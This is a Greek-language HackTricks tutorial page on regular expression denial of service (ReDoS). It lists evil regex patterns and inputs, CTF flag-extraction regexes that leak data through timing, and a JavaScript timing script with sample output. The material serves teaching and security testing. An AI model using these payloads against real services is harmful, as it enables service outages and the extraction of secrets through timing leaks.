Regular expression Denial of Service - ReDoS

Αρνητική Επίθεση Καθυστέρησης Κανονικών Εκφράσεων - ReDoS

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Αρνητική Επίθεση Καθυστέρησης Κανονικών Εκφράσεων (ReDoS)

Μια Αρνητική Επίθεση Καθυστέρησης Κανονικών Εκφράσεων (ReDoS) συμβαίνει όταν κάποιος εκμεταλλεύεται τις αδυναμίες στον τρόπο λειτουργίας των κανονικών εκφράσεων (ένας τρόπος αναζήτησης και αντιστοίχισης προτύπων σε κείμενο). Μερικές φορές, όταν χρησιμοποιούνται κανονικές εκφράσεις, μπορεί να γίνουν πολύ αργές, ειδικά αν το κομμάτι κειμένου με το οποίο δουλεύουν γίνεται μεγαλύτερο. Αυτή η αργή απόκριση μπορεί να γίνει τόσο άσχημη που αυξάνεται πολύ γρήγορα με ακόμα και μικρές αυξήσεις στο μέγεθος του κειμένου. Οι επιτιθέμενοι μπορούν να χρησιμοποιήσουν αυτό το πρόβλημα για να καταστήσουν ένα πρόγραμμα που χρησιμοποιεί κανονικές εκφράσεις να μην λειτουργεί σωστά για μεγάλο χρονικό διάστημα.

Ο Προβληματικός Αλγόριθμος Κανονικών Εκφράσεων

Ελέγξτε τις λεπτομέρειες στο https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

Κακόβουλες Κανονικές Εκφράσεις

Μια κακόβουλη κανονική έκφραση είναι αυτή που μπορεί να μείνει αναπόδραστη σε συγκεκριμένη είσοδο προκαλώντας DoS. Οι κακόβουλες κανονικές εκφράσεις συνήθως περιλαμβάνουν ομαδοποίηση με επανάληψη και επανάληψη ή εναλλαγή με επικάλυψη μέσα στην επαναλαμβανόμενη ομάδα. Ορισμένα παραδείγματα κακόβουλων προτύπων περιλαμβάνουν:

  • (a+)+

  • ([a-zA-Z]+)*

  • (a|aa)+

  • (a|a?)+

  • (.*a){x} για x > 10

Όλα αυτά είναι ευάλωτα στην είσοδο aaaaaaaaaaaaaaaaaaaaaaaa!.

Πληροφορίες Εξαγωγής μέσω ReDoS

Σε ένα CTF (ή bug bounty) ίσως έχετε έλεγχο στην Κανονική Έκφραση με την οποία ταιριάζεται μια ευαίσθητη πληροφορία (η σημαία). Στη συνέχεια, εάν είναι χρήσιμο, μπορείτε να κάνετε τη σελίδα να παγώσει (timeout ή μεγαλύτερος χρόνος επεξεργασίας) εάν η Κανονική Έκφραση ταιριάξει και όχι αν δεν ταιριάξει. Με αυτόν τον τρόπο θα μπορείτε να εξαγάγετε τον χαρακτήρα του συμβολοσειρά χαρακτήρα προς χαρακτήρα:

  • Στο αυτό το άρθρο μπορείτε να βρείτε αυτόν τον κανόνα ReDoS: ^(?=<flag>)((.*)*)*salt$

  • Παράδειγμα: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$

  • Στο αυτό το writeup μπορείτε να βρείτε αυτόν: <flag>(((((((.*)*)*)*)*)*)*)!

  • Στο αυτό το writeup χρησιμοποίησε: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

Έλεγχος Εισόδου και Κανονικής Έκφρασης ReDoS

Τα παρακάτω είναι παραδείγματα ReDoS όπου έχετε έλεγχο τόσο στην είσοδο όσο και στην κανονική έκφραση:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

Εργαλεία

Αναφορές

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated